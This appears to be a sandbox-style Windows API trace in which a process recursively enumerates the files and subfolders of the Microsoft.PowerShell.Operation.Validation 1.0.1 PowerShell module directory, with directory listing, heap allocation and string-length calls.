	[0158.635] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\*", lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dde80
	[0158.636] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.636] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0158.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x465ffc0
	[0158.636] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics") returned 102
	[0158.636] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddec0
	[0158.636] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e05fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.636] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comprehensive", cAlternateFileName="COMPRE~1")) returned 1
	[0158.636] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x466ffc8
	[0158.637] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive") returned 116
	[0158.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Comprehensive\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0158.637] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e148c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.637] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 1
	[0158.637] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Comprehensive.Tests.ps1", cAlternateFileName="")) returned 0
	[0158.637] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0158.637] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0158.637] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1
	[0158.637] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x466ffc8
	[0158.637] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple") returned 109
	[0158.637] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Diagnostics\\Simple\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0158.637] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.637] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 1
	[0158.638] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple.Tests.ps1", cAlternateFileName="")) returned 0
	[0158.638] FindClose (in: hFindFile=0x5ddf40 | out: hFindFile=0x5ddf40) returned 1
	[0158.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x466ffc8 | out: hHeap=0x4f0000) returned 1
	[0158.638] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e1d6b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0
	[0158.638] FindClose (in: hFindFile=0x5ddec0 | out: hFindFile=0x5ddec0) returned 1
	[0158.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x465ffc0 | out: hHeap=0x4f0000) returned 1
	[0158.638] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1
	[0158.638] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x614, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.psd1", cAlternateFileName="")) returned 1
	[0158.638] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3016, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.psm1", cAlternateFileName="")) returned 1
	[0158.638] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OperationValidationResources.psd1", cAlternateFileName="")) returned 1
	[0158.638] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Test", cAlternateFileName="")) returned 1
	[0158.638] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x465ffc0
	[0158.639] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test") returned 95
	[0158.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\*", lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ddec0
	[0158.639] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e2971, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.639] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e19133, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e19133, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e19133, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation.Tests.ps1", cAlternateFileName="")) returned 1
	[0158.639] FindNextFileW (in: hFindFile=0x5ddec0, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1
	[0158.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x466ffc8
	[0158.639] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules") returned 103
	[0158.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\*", lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5ddf40
	[0158.639] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e4074, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.639] FindNextFileW (in: hFindFile=0x5ddf40, lpFindFileData=0x2fbeb94 | out: lpFindFileData=0x2fbeb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example1.Diagnostics", cAlternateFileName="EXAMPL~1.DIA")) returned 1
	[0158.639] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46903c0
	[0158.641] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics") returned 124
	[0158.641] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\*", lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd840
	[0158.641] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e5961, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.641] FindNextFileW (in: hFindFile=0x5dd840, lpFindFileData=0x2fbe918 | out: lpFindFileData=0x2fbe918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 1
	[0158.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46a03c8
	[0158.641] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics") returned 136
	[0158.641] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\*", lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x508de0
	[0158.641] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e60a0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0158.641] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 1
	[0158.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x46b03d0
	[0158.642] lstrlenW (lpString="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple") returned 143
	[0158.642] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\1.0.1\\Test\\Modules\\Example1.Diagnostics\\Diagnostics\\Simple\\*", lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4642d80
	[0158.642] FindNextFileW (in: hFindFile=0x4642d80, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0158.642] FindNextFileW (in: hFindFile=0x4642d80, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 1
	[0158.642] FindNextFileW (in: hFindFile=0x4642d80, lpFindFileData=0x2fbe420 | out: lpFindFileData=0x2fbe420*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Example1.Diagnostics.Tests.ps1", cAlternateFileName="")) returned 0
	[0158.643] FindClose (in: hFindFile=0x4642d80 | out: hFindFile=0x4642d80) returned 1
	[0158.643] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x46b03d0 | out: hHeap=0x4f0000) returned 1
	[0158.643] FindNextFileW (in: hFindFile=0x508de0, lpFindFileData=0x2fbe69c | out: lpFindFileData=0x2fbe69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50e65b3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0
	[0158.643] FindClose (in: hFindFile=0x508de0 | out: hFindFile=0x508de0) returned 1
